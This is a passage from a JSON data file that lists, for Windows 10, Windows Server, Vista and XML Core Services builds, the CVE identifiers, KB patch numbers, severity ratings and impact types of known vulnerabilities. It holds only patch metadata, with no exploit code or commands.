Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for 32-bit Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 10 for x64-based Systems":[{"cve":"CVE-2017-0022","kb":"4012606","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for 32-bit Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 7 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for 32-bit systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows 8.1 for x64-based systems":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows RT 8.1":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for Itanium-Based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012215","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for Itanium-Based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012217","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2012 R2 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4012216","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Server 2016 (Server Core installation)":[{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Microsoft XML Core Services 3.0 on Windows Vista x64 Edition Service Pack 2":[{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1507 for 32-bit Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1507 for x64-based Systems":[{"cve":"CVE-2017-0143","kb":"4012606","severity":"Critical","impact":"Remote Code Execution"}],"Windows 10 Version 1511 for 32-bit Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1511 for x64-based Systems":[{"cve":"CVE-2015-6100","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3105211","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3116900","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6168","kb":"3116900","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3124263","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3124263","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3135173","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3135173","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3140768","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0151","kb":"3147458","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2016-0189","kb":"3156421","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3163018","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3192441","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185614","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3198586","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198586","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013198","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013198","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019473","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041689","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041689","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048952","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053578","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022714","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022714","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025344","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038783","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038783","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056888","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0826","kb":"4074591","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074591","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0886","kb":"4088779","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088779","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093109","severity":"Important","impact":"Information Disclosure"}],"Windows 10 Version 1607 for 32-bit Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7200","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7201","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3200970","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3200970","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"4013429","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0143","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4013429","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019472","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041691","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11823","kb":"4041691","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11830","kb":"4048953","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2017-11885","kb":"4053579","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4022715","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8470","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022715","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4025339","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4038782","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038782","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0752","kb":"4056890","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0821","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0822","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0826","kb":"4074590","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0832","kb":"4074590","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0877","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0880","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0882","kb":"4088787","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0886","kb":"4103723","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4088787","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0952","kb":"4343887","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0975","kb":"4093119","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0982","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4103723","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8208","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8214","kb":"4284880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8410","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8411","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4457131","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4462917","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8495","kb":"4462917","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8544","kb":"4467691","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8584","kb":"4467691","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4103723","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0552","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0555","kb":"4487026","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0570","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0571","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0572","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0573","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0574","kb":"4480961","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0730","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493470","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493470","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1069","kb":"4503267","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1476","kb":"4530689","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537764","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4540670","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550929","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556813","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571694","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571694","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003197","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003197","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003638","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-24091","kb":"4601318","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-27094","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-28447","kb":"5001347","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2021-34527","kb":"5004948","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-40444","kb":"5005573","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006669","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2022-30190","kb":"5014702","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2023-20569","kb":"5029242","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025228","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026363","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073722","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028169","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-44487","kb":"5031362","severity":"Important","impact":"Denial of Service"},{"cve":"CVE-2024-38193","kb":"5041773","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043051","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048671","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-7344","kb":"5049993","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-24054","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24071","kb":"5053594","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-24985","kb":"5053594","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053594","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055521","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058383","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058383","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061010","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-47827","kb":"5066836","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-47981","kb":"5062560","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2025-48799","kb":"5062560","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-50154","kb":"5063871","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063871","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-64720","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-65018","kb":"5082198","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2026-50475","kb":"5099535","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2026-85880","kb":"5123099","severity":"Important","impact":"Elevation of Privilege"}],"Windows 10 Version 1607 for x64-based Systems":[{"cve":"CVE-2016-3237","kb":"3194798","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3189866","severity":"Critical","impact":"Remote Code 